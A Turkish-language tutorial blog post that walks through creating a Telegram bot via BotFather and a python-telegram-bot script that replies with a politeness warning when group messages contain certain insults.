1-Öncelikle Telegram ’da BotFather hesabını bulunuz. (Arama kısmına BotFather yazın ve mavi tıklı olan hesabı açın)

2-/start yazarak bot oluşturma işlemine başlayabiliriz.

3-/newbot yazdıktan sonra botumuza isim vermemiz gerekiyor. Verdiğimiz ismin sonuna bot ifadesini koymamız zorunludur. Örneğin: Banquizsorubot veya banquizsoru_bot vb.

4-Botumuzun adı kurallara uygun olması durumunda aşağıda resimde okla gösterdiğim token bilgisine ulaşacaksınız. Bu bilgileri kimseyle paylaşmamanız önemlidir. Aksi takdirde bu token bilgisine sahip kişiler sizin botunuz yönetebilirler.

5-/mybots komutu ile token vs bilgilere yeniden ulaşabilir. Birden fazla botunuz olduğunda ise size seçim imkanı sunarak o bot üzerinden işlem yapabilirsiniz.

6-Arama çubuğundan botunuzu bularak artık botunuzu kullanmaya başlayabilirsiniz.

Artık python kısmına geçebiliriz.

1-Öncelikle “pip install python-telegram-bot” ile kütüphanemizi yüklememiz gerekiyor.

2- from telegram import (
Poll,
ParseMode,
KeyboardButton,
KeyboardButtonPollType,
ReplyKeyboardMarkup,
ReplyKeyboardRemove,
Update, InlineKeyboardButton, PollAnswer, InlineKeyboardMarkup,

User, Message, Update, Chat, ChatMember, UserProfilePhotos, File,
ReplyMarkup, TelegramObject, WebhookInfo, GameHighScore, StickerSet,
PhotoSize, Audio, Document, Sticker, Video, Animation, Voice, VideoNote,
Location, Venue, Contact, InputFile, Poll, ChatPermissions, TelegramObject, constants
)

from telegram.ext import (
Updater,
CommandHandler,
PollAnswerHandler,
PollHandler,
MessageHandler,
Filters,
CallbackContext, ChatMemberHandler,
)

ilk aşamada import ettiğimiz tüm kütüphaneleri kullanmayacağız ama ben şimdiden hepsinin veriyorum. Belki siz de araştırıp yeni şeyler bulmak isteyebilirsiniz. (şu an Update, Update,MessageHandler, Filters ve CallbackContext kullanacağız)

from telegram import (
    Poll,
    ParseMode,
    KeyboardButton,
    KeyboardButtonPollType,
    ReplyKeyboardMarkup,
    ReplyKeyboardRemove,
    Update, InlineKeyboardButton, PollAnswer, InlineKeyboardMarkup,

    User, Message, Update, Chat, ChatMember, UserProfilePhotos, File,
    ReplyMarkup, TelegramObject, WebhookInfo, GameHighScore, StickerSet,
    PhotoSize, Audio, Document, Sticker, Video, Animation, Voice, VideoNote,
    Location, Venue, Contact, InputFile, Poll, ChatPermissions, TelegramObject, constants
)

from telegram.ext import (
    Updater,
    CommandHandler,
    PollAnswerHandler,
    PollHandler,
    MessageHandler,
    Filters,
    CallbackContext, ChatMemberHandler,
)

def otomatikcevap(update: Update, context: CallbackContext) -> None:

#yazılan mesajı yakalıyoruz
    gelen = update.message.text
    
#find fonksionu ile gelen cümlede "salak" ya da "aptal" kelimesi var mı diye bakıyoruz. eğer varsa uyarı mesajı gönderiyoruz.

    if gelen.lower().find("salak") != -1 or gelen.lower().find("aptal") != -1:

#s değişkeine mesajı yazan kullanıcının kullanıcı adını atıyoruz.

        s = update.effective_user.name
        update.message.reply_text(s + " Lütfen Daha Terbiyeli Olalım")
    


def main() -> None:
    
  #Buraya kendi Token kodunuzu girmeniz gerekiyor
    updater = Updater("5******77:AA****3-M*******8")

    dispatcher = updater.dispatcher

#MessageHandler ile gruba gönderilen mesajları yakalıyoruz.
    dispatcher.add_handler(MessageHandler(Filters.text, otomatikcevap))

    # Botu başlatır
    updater.start_polling()

    # ctrl+c yapana kadar bot çalışır
    updater.idle()

if __name__ == '__main__':
    main()

yukarıda kodları kopyala yapıştır yaparak kullanabilirsiniz. Kodların açıklamalarını kod blok içerisinde anlattım. Botunuzu başka gruplarda kullanmanız için botunuz o grupta yönetici olmalı ve tüm izinler verilmiş olmalıdır. Bir dahaki yazıda nasıl test/soru gönderiyoruz. Onu anlatmaya çalışacağım. Şimdilik bu kadar, herkese iyi paytınlamalar :)